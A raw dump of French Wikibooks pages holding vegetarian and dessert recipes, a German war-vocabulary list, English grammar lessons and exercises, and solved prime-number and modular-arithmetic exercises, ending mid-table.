207.35.2.57 /* Ingrédients */ {{Livre de cuisine}} ==Ingrédients== * 500g de pâtes 100% à base de blé dur * 1 oignons nouveaux * 60g de tomates séchées, coupées en lanières * 500g de pousses d'épinards équeutées et hachées * 4 cuillères à soupe de pignons de pain grillés * 1 cuillère à soupe d'origan frais haché '''Sauce''' * 60mL d'huile d'olive * 1 cuillère à thé de piment frais haché * 1 gousse d'ail écrasée, sel et poivre ==Préparation== * Cuire les pâtes dans une grande casserole d'eau bouillante salée. Les égoutter et les rincer à l'eau froide. Transférer dans un saladier. Hacher finement les oignons nouveaux. Les mettre dans le saladier avec les tomates, les épinards, les pignons, et l'origan. * '''Sauce''' : dans un bocal, réunir l'huile, le piment, l'ail, le sel et le poivre. Secouer vigoureusement. Verser la sauce sur la salade ; bien mélanger. * Servir immédiatement. Cuisine:Pâtes aux arachides et légumes rôtis 3676 18470 2005-08-04T20:18:26Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 750mL de pâtes de blé entier courtes (ou [[Cuisine:Nouilles fraîches|Nouilles]]) * 2 poivrons (1 rouge et 1 jaune) * 1 poivron vert coupé en languettes * 3 tomates, coupées en 8 quartiers * 1 oignon tranché finement * 3 gousses d'ail hachées finement * 7g d’origan séché * 175g d’arachides rôties hachées * 15g de persil frais haché. * 45mL d’huile d'olive * sel et poivre, au goût ==Préparation== * Chauffer le four à 200°C. * Dans un grand bol, mélanger le poivron rouge, le poivron jaune, l'origan, les feuilles de laurier, une pincée de sel et de poivre et l'huile d'olive (moins 10mL). Etendre sur une tôle à cuisson à larges bords. Cuire dans la partie supérieure du four pendant 15 min. Incorporer les tomates. Cuire 10 min de plus ou jusqu'à légère carbonisation. Elever les feuilles de laurier. Dans une grande casserole d'eau bouillante salée, cuire les pâtes. * Dans une grande poêle à frire antiadhésive, chauffer l'huile qui reste à chaleur moyenne élevée ; ajouter l'ail, l'oignon et le poivron vert et faire revenir 6 min, en remuant occasionnellement, ou jusqu'à ce que les oignons soient légèrement dorés et le poivron cuit. * Mélanger les pâtes égouttées avec les arachides, les légumes rôtis et le mélange d'oignon. * Saler et poivrer au goût. Garnir de persil. Cuisine:Lasagnes au tofu 3677 18467 2005-08-04T20:17:25Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 500g de pâtes au blé dur (ou [[Cuisine:Nouilles fraîches|Nouilles]]) + aux épinards * 15mL d’huile d’olive * 2 oignons hachés finement * 3 gousses d'ail émincées * 500g de champignons frais tranchés * 625mL de sauce tomate * 1 feuille de laurier * 5g d’origan séché * 675g d'épinards cuits * 750g de tofu nature réduit en miettes * 125mL de persil haché * [[Cuisine:Béchamel|Béchamel]] ==Préparation== * Cuire les pâtes au blé dur en suivant les directives du paquet. Dans une casserole, faire chauffer l’huile, y faire revenir l’oignon et l’ail. Ajouter les champignons et laisser cuire durant 2 min en remuant. Verser la sauce tomate dans ce mélange, ajouter le laurier et l’origan. Laisser mijoter jusqu’à ce que la sauce épaississe. Retirer du feu et ajouter la moitié du persil haché. Dans un grand bol, mélanger les épinards cuits, égouttés et hachés ; avec le tofu et le reste du persil haché. * Monter la lasagne comme suit : Dans un plat allant au four d’environ 33 x 25 cm, étaler le tiers de la sauce tomate. Couvrir de pâtes. Étendre la moitié de la préparation épinards-tofu. Bien tasser. Disposer un autre étage de pâtes, puis un tiers de la sauce tomate. Continuer avec un autre étage de pâtes, puis l’autre moitié de la préparation d’épinards-tofu. Recommencer avec un autre étage de pâtes, le dernier tiers de la sauce tomate. Recouvrir d’un dernier étage de pâtes. Étendre la sauce béchamel uniformément sur le dessus. * Cuire au four à 175°C durant environ 50 min ou jusqu’à ce que le dessus soit doré. Retirer du four et laisser reposer 15 min avant de servir. Cuisine:Salade de pâtes à l'Orientale 3678 15171 2005-05-21T12:59:57Z Sarvok 270 ==Ingrédients== * 350g de pâtes fraîches larges (aux trois couleurs ou aux épinards pour une salade plus colorée ; ou [[Cuisine:Nouilles fraîches|Nouilles]]) * 15mL d’huile d'arachide * 3 oignons verts tranchés * 300mL de champignons tranchés * 50mL de basilic frais haché. '''Vinaigrette''' * 25mL d’huile de sésame * 25mL de sauce soya * 20mL de beurre d'arachide croquant * quelques gouttes de sauce au piment fort. ==Préparation== * Dans une grande casserole remplie d'eau bouillante salée, cuire les pâtes environ 3 à 4 min, jusqu'à ce qu'elles soient tendres mais fermes (al dente). Bien égoutter et rincer à l'eau froide. Déposer dans un grand bol de service. Verser l'huile d'arachide et remuer. * Dans un petit bol, mélanger l'huile de sésame, la sauce soya, le beurre d'arachide et la sauce au piment fort. * Verser sur les pâtes et remuer pour bien couvrir. Ajouter les oignons verts, les champignons et le basilic. Cuisine:Quiche aux olives 3679 18524 2005-08-05T07:41:39Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 1 tasse de farine * 1 tasse d'avoine moulue finement * 1 cuillère à thé de levure * 1 cuillère à thé de bicarbonate de soude * 1 tasse d'huile d'olive ou de maïs * 1 tasse d'eau glacée * 1 tasse d'olives noires en rondelles * 2 gousses d'ail émincées * 2 échalotes émincées * 1 tasse de tomates fraîches en dés * 1 cuillère à thé de sirop d'érable (selon goût) * 1 tasse d'eau, sel. ==Préparation== * '''Pâte''' : Mélanger farine, avoine moulue, poudre à pâte, bicarbonate de soude. Dans un autre bol, incorporer l'huile, le jus de citron, l'eau et fouetter légèrement. Incorporer le liquide à l'aide d'une fourchette, mélanger et former rapidement une boule. Rouler la pâte entre 2 feuilles de papier cuisson pour former un fond de tarte. Renverser dans un plat à tarte. * '''Farce''' : Dans une poêle faire revenir l'ail et les échalotes dans un peu d'huile. Ajouter les tomates, les olives noires, le sel, le sirop et l'eau. Cuire pour réduire un peu. * Verser sur la pâte. Mettre le tout 30 min au four th.7. Cuisine:Quiche au tofu 3680 18523 2005-08-05T07:41:36Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 1 tasse de farine * 1 tasse d'avoine moulue finement * 1 cuillère à thé de levure * 1 cuillère à thé de bicarbonate de soude * 1 tasse d'huile d'olive ou de maïs * 1 tasse d'eau glacée * 2 tasses de [[Cuisine:Tofu|Tofu]] ferme émietté * 1 cuillère à soupe de miso * 1 cuillère à soupe de tahini (beurre de sésame) * jus d'1 citron, peu de [[Cuisine:Lait de Soja|Lait de Soja]] ==Préparation== * '''Pâte''' : Mélanger farine, avoine moulue, poudre à pâte, bicarbonate de soude. Dans un autre bol, incorporer l'huile, le jus de citron, l'eau et fouetter légèrement. Incorporer le liquide à l'aide d'une fourchette, mélanger et former rapidement une boule. Rouler la pâte entre 2 feuilles de papier cuisson pour former un fond de tarte. Renverser dans un plat à tarte. * '''Farce''' : Mixer le miso, le tahini, le jus de citron jusqu'à consistance crémeuse, ajouter du lait de soja au besoin. Verser cette préparation sur la pâte. Disperser le tofu émietté sur le dessus. * Mettre le tout 30 min au four th.7. Cuisine:Tofu 3684 41215 2006-04-29T17:15:02Z 82.253.234.70 /* Préparation pour deux litres de soja */ ==Ingrédients== * 2L de Lait de Soja * 2 cuillères à café rases ( pour 2 litres ) de sel de Nigari pour faire cailler le Lait ( en vente en magasin Bio ) == Préparation pour deux litres de soja == * Verser les deux litres de lait de soja dans une casserole et le laisser à peine bouillir, stopper le gaz et mélanger les deux cuillères à café rases de nigari.....le lait " caille " assez vite, attendre 1 minute et à l'aide d'une écumoire avec manche,le verser à chaque fois dans le moule percé de trous ( genre faisselle ) et chemisé (ou tapissé) à l'avance au fond et sur les côtés avec du papier dédoublé de filtres à café, ne pas oublier d'en mettre entre le couvercle et le caillé . * Laisser égoutter au moins 30 minutes en plaçant un poids de 1 kg voire plus( du poids dépend la consistance du " fromage " ferme ou souple ) dans le moule. Vider le bloc de tofu résultant dans un récipient rempli d'eau froide et le stocker au réfrigérateur. Changer l'eau de trempage tous les 3 jours. Cuisine:Crumble au citron 3687 15179 2005-05-22T06:09:05Z Antoinel 182 __NOTOC__ ==Ingrédients pour la crème== * 75 cl de lait * 25 cl de crème liquide * 6 œufs * 100 g de Maïzena® * 150 g de sucre * 2 citrons verts ==Ingrédients pour la pâte à crumble== * 50 g de farine blanche * 100 g de biscuits à la cannelle (type Spéculos) * 50 g de sucre roux * 100 g de beurre ==Préparation de la crème== * Préchauffez le four th. (13°C). * Versez le lait et la crème dans une casserole et faites chauffer sans ébullition. * Râpez les zestes des citrons verts. * Fouettez les œufs et le sucre jusqu'à ce que le mélange blanchisse et soit bien mousseux. * Ajoutez la maïzena et les zestes de citrons. * Mélangez puis versez le mélange lait/crème en filet en continuant à mélanger. * Reversez le tout dans la casserole et remettez sur feu doux. Faites cuire en mélangeant sans arrêt jusqu'à épaississement de la crème. ==Préparation de la pâte à crumble== * Mettez les biscuits, le beurre, le sucre et la farine dans le bol d'un mixeur et faites tourner par à-coups jusqu'à obtention d'un mélange sableux. * Répartissez la pâte sur la crème et enfournez. * Faites cuire pendant 50 min. * Sortez les crumbles du four et laissez refroidir. * Servez tiède ou froid. ---- Retour au [[Livre_de_Cuisine|Livre de cuisine]] ---- Cuisine:Fromage blanc aux fruits 3688 15180 2005-05-22T06:13:27Z Antoinel 182 ==Ingrédients (Pour 4 personnes)== *300 gr. de fromage blanc *4 gros pruneaux séchés *4 dattes séchées *2 figues séchées *1 cuiller à soupe de raisins secs blonds *50 gr. de sucre roux *4 cuillers à café de sirop d'orgeat *400 gr. de marmelade d'ananas *4 cuillers à café d'amandes effilées et grillées ==Ustensiles spécifiques== *Un saladier *4 verres à glace ==Préparation== #Dans le saladier, mélangez les fruits secs, le sucre roux et le sirop d'orgeat, puis ajoutez le fromage blanc. #Versez la préparation dans les verres à glace jusqu'au 2/3. #Dans chaque verre à glace, ajoutez 3 cuillers à soupe de marmelade d'ananas, parsemez d'une cuiller à café d'amandes effilées. #Reservez au réfrigérateur jusqu'au moment de servir. ---- Retour au [[Livre_de_Cuisine|sommaire]] / [[Cuisine:Desserts|desserts]] ---- Cuisine:Mont-Blanc 3689 15181 2005-05-22T06:16:58Z Antoinel 182 Le '''Mont-Blanc''' est un gateau d'origine antillaise. == Ingrédients == Pour le gateau (8 à 12 personnes) * 5 œufs * 200g de sucre roux de canne * 150g de fécule (j'ai mis 50 gr de maïzena et 100 gr de farine de riz) * le zeste d'un citron vert * 2 c. à soupe de rhum Pour la crème : * 40 cl de lait de coco * 1 bte de lait concentré sucré (410g) * 2 cuillères à soupe rases de farine ou maizena * 2 cuillères à soupe de rhum == Préparation == Mettre les jaunes d'œufs, le rhum et le sucre dans une jatte et battre au fouet jusqu'à ce que le sucre soit fondu. Verser la fécule et mélanger. Battre en neige ferme les blancs avec une pincée de sel. Incorporer petit a petit a la pâte. Verser dans un moule à manque beurré et fariné. Cuire au four th4 (140 à 150) pendant 40min. Laisser bien refroidir sur une grille Mettre dans une casserole le lait de coco et le lait concentré ainsi que le zeste de citron vert. Verser un peu de ce mélange dans un bol, faire bouillir le reste. Ajouter au lait du bol,la farine. Apres ébullition, baisser le feu, verser le contenu du bol et remuer jusqu'à épaississement (la crème doit devenir comme une béchamel). Incorporer le rhum et laisser refroidir. Couper le gateau en deux dans le sens horizontal, napper une moitié avec les 3/4 de la crème, badigeonner ensuite le dessus et les cotés du gateau de crème et saupoudrer de noix de coco rapé. Mettre au réfrigérateur. Il est meilleur plusieurs heures après sa préparation car la crème a pénétré dans le gateau. Nota : il monte très bien même sans levure. ---- Retour au [[Livre_de_Cuisine|sommaire]] / [[Cuisine:Desserts|desserts]] ---- Allemand : Der Krieg : la guerre 3690 15182 2005-06-24T08:29:24Z Antoinel 182 der Erste Weltkrieg : ''la 1ère guerre mondiale''<br />der Zweite Weltkrieg : ''la deuxième guerre mondiale''<br />der Blitzkrieg : ''la guerre éclair''<br />der Kalte Krieg : ''la guerre froide''<br />der Indochinakrieg : ''la guerre d'Indochine''<br />der Vietnamkrieg : ''la guerre du Vietnam''<br />der Unabhängigkeitskrieg : ''la guerre d'indépendance''<br />der Zivilkrieg : ''la guerre civile''<br />der Frieden : ''la paix'' ---- Retour au [[Vocabulaire allemand|vocabulaire]] / au [[Enseignement de l'allemand|sommaire]] ---- Anglais:Pronoms relatifs 3691 25782 2005-11-20T22:44:26Z Guillaumito 46 {{Enseignement anglais}} {{Enseignement anglais}} ==Who(m) et which ("qui")== '''Who''' se rapporte à '''une personne'''. '''Which''' se rapporte à '''une chose'''. ==That ("qui")== ==What, which, that ("ce qui", "ce que")== ==Whose et of which ("dont")== ==Préposition + qui/lequel== Cuisine:Clafoutis 3693 25562 2005-11-17T10:54:48Z 81.56.143.8 /* Préparation */ == Clafoutis aux pommes == ==== Ingrédients ==== * 3 oeufs * 2 tasses de sucre * 2 tasses de farine * 1 boîte de lait gloria * 2 sachets de sucre vanillé * 1/2 sachet de levure d'Alsace * 4 pommes à cuire ==== Préparation ==== # Mélanger les trois oeufs battus avec le sucre, la farine, le lait gloria, le sucre vanillé et la levure. # Eplucher, couper les pommes (en dés ou en quart). # Beurrer un plat et mettre les pommes coupées # Verser le mélange sur les pommes. Cuire à four chaud à 150°C pendant 3/4 d'heures. ==== Conseil ==== Si le dessus du clafoutis grille, le recouvrir d'une feuille de papier aluminium. ---- Retour au [[Livre_de_Cuisine|sommaire]] / [[Cuisine:Desserts|desserts]] ---- Anglais:Tableau conjugaison récapitulatif 3695 38319 2006-03-18T18:26:12Z 84.74.238.248 {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Présent simple |- bgcolor="#FFEEEE" | width=30% | Vérité générale, action habituelle || width=30% | I live in Cardiff. || width=30% | J'habite à Cardiff. |} {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Présent progressif |- bgcolor="#FFEEEE" | width=30% | Action temporaire, en cours de réalisation || width=30% | He is sleeping. || width=30% | Il est en train de dormir. |} ---- {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Prétérit simple |- bgcolor="#FFEEEE" | width=30% | Action terminée, sans rapport avec le présent. Temps de la narration. || width=30% | I liked music. || width=30% | J'aimais la musique. |} {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Prétérit progressif |- bgcolor="#FFEEEE" | width=30% | Action en train de se passer à un moment donné du passé || width=30% | I was eating when he entered the room. || width=30% | J'étais en train de manger lorsqu'il entra dans la pièce. |} ---- {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Present perfect |- bgcolor="#FFEEEE" | width=30% | Action passée dont les conséquences continuent dans le présent || width=30% | I have made this cake. || width=30% | J'ai fait ce gateau. |} {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Present perfect continuous |- bgcolor="#FFEEEE" | width=30% | Si l'action continue toujours ou pour insister sur la durée || width=30% | I've been working on this project for 5 years. || width=30% | Je travaille sur ce projet depuis 5 ans. |} ---- {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Past perfect |- bgcolor="#FFEEEE" | width=30% | Situe une action dans le passé par rapport à une autre action dans le passé || width=30% | Had you finished it when she came back ? || width=30% | L'avais-tu fini quand elle est rentrée ? |} {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Past perfect progressif |- bgcolor="#FFEEEE" | width=30% | Action qui continuait à un moment du passé || width=30% | He had been cooking all the day. || width=30% | Il avait cuisiné toute la journée. |} ---- {| style="text-align: left" |- bgcolor="#FFCCCC" ! colspan=3 | Futur |- bgcolor="#FFEEEE" | width=30% | ... || width=30% | ... || width=30% | ... |} ---- Retour à [[Enseignement de l'anglais]] ---- Anglais:Exclamations 3696 24721 2005-11-01T19:01:08Z 83.204.68.177 /* Such ... ! */ __NOTOC__ ==How...! == ===How + adjectif=== How est généralement suivi d'un adjectif seul (sans nom). <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center><strong><big>'''HOW''' + '''ADJECTIF !'''</big></strong></center> </td></tr></table> Exemple : '''How''' sorrowful !<br /> ''Que c'est triste !'' '''How''' big !<br /> ''Que c'est grand !'' === How ... + groupe verbal === <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><big>'''HOW''' + '''ADJECTIF''' + '''SUJET''' +'''VERBE'''</center> </td></tr></table> <br /> Exemple : How strange it is ! Comme c'est étrange ! <br /> [[Image:Panneau attention 20.png]] Ne pas confondre : How tall is he ? (Est-il grand ?) et How tall he is ! (Comme il est grand !) == ... so ... ! == Comme how, so s'emploie suivi d'un adjectif est correspond en français à ''tellement'' ou ''si''. Exemple : It's so nice. ''C'est tellement gentil''. == What...! == ===What + adjectif=== What est suivi d'un nom, et éventuellement précédé d'un adjectif. <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center><strong><big>'''WHAT (+ ADJECTIF) + NOM !'''</big></strong></center> </td></tr></table> * Lorsque le nom est dénombrable et singulier, il est précédé de '''a'''. Exemple : '''What''' a drama !<br /> ''Quel drame !'' '''What''' a sorrowful movie !<br /> ''Quelle triste film !'' '''What''' a big house !<br /> ''Quelle grande maison !'' === What ... + groupe verbal === <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><big>'''WHAT''' + '''ADJECTIF''' + '''NOM''' + '''SUJET''' +'''VERBE'''</center> </td></tr></table> <br /> Exemple : What a lovely house you have. ''Qu'est qu'elle est belle, ta maison ! '' == Such ... ! == Such s'emploie précédé d'un groupe verbal et suivi d'un nom. <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><big>'''GROUPE VERBAL''' + '''SUCH'''+ '''NOM''' </big></center> </td></tr></table> <br /> Exemple : She is such a lovely girl. ''Elle est tellement jolie''. <br /> ---- Retour [[Enseignement de l'anglais]] / [[Anglais:Exclamations_Test|Test]] ---- Anglais : Verbe être 3701 15190 2005-05-23T17:31:13Z Antoinel 182 <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td colspan=2>[[Anglais : Présent|Présent]]</td> <td colspan=2>I am, you are, he/she/it is, we are, you are, they are</td> </tr> <tr align="center"> <td colspan=2>[[Anglais : Prétérit|Prétérit]]</td> <td colspan=2>I was, you were, he/she/it was, we were, you were, they were</td> </tr> <tr align="center"> <td colspan=2>[[Anglais : Futur|Le futur]]</td> <td colspan=2>I will be, ...</td> </tr> <tr align="center"> <td colspan=2>[[Anglais : Conditionnel|Conditionnel]]</td> <td colspan=2>I would be, ...</td> </tr> <tr align="center"> <td colspan=2>[[Anglais : Parfait présent|Parfait présent]] (Present perfect)</td> <td colspan=2>I have been, ...</td> </tr> <tr align="center"> <td colspan=2>Pluperfect</td> <td colspan=2>I had been, ...</td> </tr> <tr align="center"> <td colspan=2>Futur antérieur</td> <td colspan=2>I will have been, ...</td> </tr> <tr align="center"> <td colspan=2>Conditionnel passé</td> <td colspan=2>I would have been, ...</td> </tr> <tr align="center"> <td colspan=2>Participes</td> <td colspan=2>Being, been</td> </tr> <tr align="center"> <td colspan=2>Impératif</td> <td colspan=2>be, don't be</td> </tr> </table> ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Anglais:Exclamations Test 3703 43693 2006-06-01T12:00:35Z 193.52.2.103 /* Exercice 2 */ __NOTOC__ ---- [[Image:Wikibooks-page.gif]] Voir le [[Anglais:Exclamations|cours]] ---- == Exercice 1 == Complétez par how, what, ou what a : # how boring ! # what pretty flowers ! # what a relief ! (Quel soulagement !) # how interesting ! == Exercice 2 == Traduisez les exclamations suivantes : # Quelle vie ! what a life! # Que c'est bête ! how stupid! == Solution == ==== Exercice 1 ==== # How boring ! # What pretty flowers ! # What a relief ! # How intersting ! ==== Exercice 2 ==== # What a life ! # How stupid ! AL ES Premiers 3704 15192 2005-05-24T16:31:45Z Jim2k 289 Traduction de l'article anglais ==[[AL Premiers|Nombres premiers]] et [[AL Arithmétique modulaire|Arithmétique modulaire]]== ===Exercices de décomposition=== Décomposer les nombres suivants. (note : ceci est juste pour ceux qui sont curieux) #13 est premier #<math>26 = 13 \cdot 2</math> #59 est premier #<math>82 = 41 \cdot 2</math> #101 est premier #<math>121 = 11 \cdot 11</math> #<math>2187 = 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3</math> ===Exercice de décomposition récursive=== Décomposer en utilisant la récursivité. #<math>45 = 3 \cdot 3 \cdot 5</math> #<math>4050 = 2 \cdot 3 \cdot 3 \cdot 3 \cdot 3 \cdot 5 \cdot 5</math> #<math>2187 = 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3 \cdot 3</math> ===Exercices sur le crible de nombres premiers=== #Utiliser le résultat ci-dessus pour éliminier rapidement les nombres qui doivent encore être rayés dans la table ci-dessous, sachant que 5 est le prochain nombre premier : :<math> \begin{matrix} X & 2_p & 3_p & X & 5 &X &7& X& X& X \\ 11 & X & 13 & X& X& X&17 &X& 19& X\\ X& X& 23 & X& 25 &X&X&X&29& X\\ 31 &X& X& X& 35 &X&37& X& X& X\\ 41 & X& 43 & X& X&X&47& X& 49& X\\ \end{matrix} </math> :Le nombre premier suivant est 5. Parceque 5 est un nombre premier non marqué, et que 5 * 5 = 25, rayer 25. De même, 7 est un nombre premier non marqué, et 5 * 7 = 35, donc éliminer 35. Néanmoins, 5 * 11 = 55, est trop haut, donc marquer 5 comme premier et passer à 7. Le seul nombre suffisamment bas pour être enlevé est 7 * 7, qui est égal à 49. Vous ne pouvez pas aller plus haut. 2. Trouver tous les nombres premiers inférieurs à 200. :La méthode précédente est trop longue. Tous les nombres premiers inférieurs à 200 sont : 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157 163 167 173 179 181 191 193 197 199 ===Exercices d'arithmétique modulaire=== #<math>(-1) \cdot (-5)\mod{11} = 5</math> de manière alternative, -1 = 10, -5 = 6: 10 x 6 = 60 = 5 x 11 + 5 = 5 #<math>3 \cdot 7 \mod{11} = 21 = 10</math> #<math>2^1 = 2, 2^2 = 4, 2^3 = 8, 2^4 = 16 = 5</math><br/><math> 2^5 = 32 = 10, 2^6 = 64 = 9, 2^7 = 128 = 7</math><br/><math> 2^8 = 256 = 3, 2^9 = 512 = 6, 2^{10} = 1024 = 1</math><br/> Une liste plus facile : 2, 4, 8, 5, 10, 9, 7, 3, 6, 1 <br/> Noter qu'il n'est pas nécessaire de calculer <br/> <math>2^{10}</math> pour trouver <math>2^{10}</math> mod 11. <br/>Si vous connaissez <math>2^9</math> mod 11 = 6. <br/>Vous pouvez trouver <math>2^{10}</math> mod 11 = (2*(<math>2^9</math> mod 11)) mod 11 = 2*6 mod 11 = 12 mod 11 = 1. <br/> Nous pouvons noter que 2<sup>9</sup> = 6 et 2<sup>10</sup> = 1, nous pouvons calculer 6<sup>2</sup> facilement : 6<sup>2</sup> = 2<sup>18</sup> = 2^8 = 3. Ou par la méthode précédente <br/><math>6^1 = 6, 6^2 = 36 = 3, 6^3 = 6*3 = 18 = 7, </math><br/><math>6^4 = 6*7 = 42 = 9, 6^5 = 6*9 = 54 = 10, 6^6 = 6*10 = 60 = 5, </math><br/><math>6^7 = 6*5 = 30 = 8, 6^8 = 6*8 = 48 = 4, 6^9 = 6*4 = 24 = 2, 6^{10} = 6*2 = 12 = 1.</math><br/>Une liste plus facile : 6, 3, 7, 9, 10, 5, 8, 4, 2, 1. #0<sup>2</sup> = 0, 1<sup>2</sup> = 1, 2<sup>2</sup> = 4, 3<sup>2</sup> = 9,<br/> 4<sup>2</sup> = 16 = 5, 5<sup>2</sup> = 25 = 5, 6<sup>2</sup> = 36 = 3, 7<sup>2</sup> = 49 = 3,<br/> 8<sup>2</sup> = 64 = 5, 9<sup>2</sup> = 81 = 4, 10<sup>2</sup> = 100 = 1<br/>Une liste plus facile : 0, 1, 4, 9, 5, 3, 3, 5, 9, 4, 1<br/>Ainsi<math>\sqrt{4}=2\mbox{ and }\sqrt{4}=9</math> #x<sup>2</sup> = -2 = 9<br/>Regardez simplement la liste ci-dessus et vous verrez que <math>\sqrt{-2}=8\mbox{ et }\sqrt{-2}=3</math> ===Exercices sur la division et les inverses=== 1. :<math>x = 2^{-1} = 4</math> :<math>x = 3^{-1} = 5</math> :<math>x = 4^{-1} = 2</math> :<math>x = 5^{-1} = 3</math> :<math>x = 6^{-1} = 6</math> :<math>x = 7^{-1} = 0^{-1}</math> Par conséquent, l'inverse n'existe pas 2. <math>x = \frac{28}{7} = 4 \ \ \mbox{(mod 29)}</math> :<math>7^{-1} = 25 \ \ \mbox{(mod 29)}</math> :<math>x = 28\cdot 25 = 4 \ \ \mbox{(mod 29)}</math> 3. :<math>x = 5^{99} \times (40 + \frac{1}{3}) \ \ \mbox{(mod 11)}</math> :<math>x = 5^{99} \times (40 + 4) \ \ \mbox{(mod 11)}</math> :<math>x = 5^{99} \times 0 \ \ \mbox{(mod 11)}</math> :<math>x = 0 \ \ \mbox{(mod 11)}</math> 4.<table border="1"> <tr> <td>0</td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td>5</td> <td>6</td> <td>7</td> <td>8</td> <td>9</td> <td>10</td> <td>11</td> <td>12</td> <td>13</td> <td>14</td> <td>15</td> <td>16</td> <td>17</td> <td>18</td> <td></td> </tr> <tr> <td></td> <td>1</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 2</td> </tr> <tr> <td></td> <td>1</td> <td>2</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 3</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td>3</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 4</td> </tr> <tr> <td></td> <td>1</td> <td>3</td> <td>2</td> <td>4</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 5</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td></td> <td></td> <td>5</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 6</td> </tr> <tr> <td></td> <td>1</td> <td>4</td> <td>5</td> <td>2</td> <td>3</td> <td>6</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 7</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td>3</td> <td></td> <td>5</td> <td></td> <td>7</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 8</td> </tr> <tr> <td></td> <td>1</td> <td>5</td> <td></td> <td>7</td> <td>2</td> <td></td> <td>4</td> <td>8</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 9</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td>7</td> <td></td> <td></td> <td></td> <td>3</td> <td></td> <td>9</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 10</td> </tr> <tr> <td></td> <td>1</td> <td>6</td> <td>4</td> <td>3</td> <td>9</td> <td>2</td> <td>8</td> <td>7</td> <td>5</td> <td>10</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 11</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td></td> <td></td> <td>5</td> <td></td> <td>7</td> <td></td> <td></td> <td></td> <td>11</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 12</td> </tr> <tr> <td></td> <td>1</td> <td>7</td> <td>9</td> <td>10</td> <td>8</td> <td>11</td> <td>2</td> <td>5</td> <td>3</td> <td>4</td> <td>6</td> <td>12</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 13</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td>5</td> <td></td> <td>3</td> <td></td> <td></td> <td></td> <td>11</td> <td></td> <td>9</td> <td></td> <td>13</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>mod 14</td> </tr> <tr> <td></td> <td>1</td> <td>8</td> <td></td> <td>4</td> <td></td> <td></td> <td>13</td> <td>2</td> <td></td> <td></td> <td>11</td> <td></td> <td>7</td> <td>14</td> <td></td> <td></td> <td></td> <td></td> <td>mod 15</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td>11</td> <td></td> <td>13</td> <td></td> <td>7</td> <td></td> <td>9</td> <td></td> <td>3</td> <td></td> <td>5</td> <td></td> <td>15</td> <td></td> <td></td> <td></td> <td>mod 16</td> </tr> <tr> <td></td> <td>1</td> <td>9</td> <td>6</td> <td>13</td> <td>7</td> <td>3</td> <td>5</td> <td>15</td> <td>2</td> <td>12</td> <td>14</td> <td>10</td> <td>4</td> <td>11</td> <td>8</td> <td>16</td> <td></td> <td></td> <td>mod 17</td> </tr> <tr> <td></td> <td>1</td> <td></td> <td></td> <td></td> <td>11</td> <td></td> <td>13</td> <td></td> <td></td> <td></td> <td>5</td> <td></td> <td>7</td> <td></td> <td></td> <td></td> <td>17</td> <td></td> <td>mod 18</td> </tr> <tr> <td></td> <td>1</td> <td>10</td> <td>13</td> <td>5</td> <td>4</td> <td>16</td> 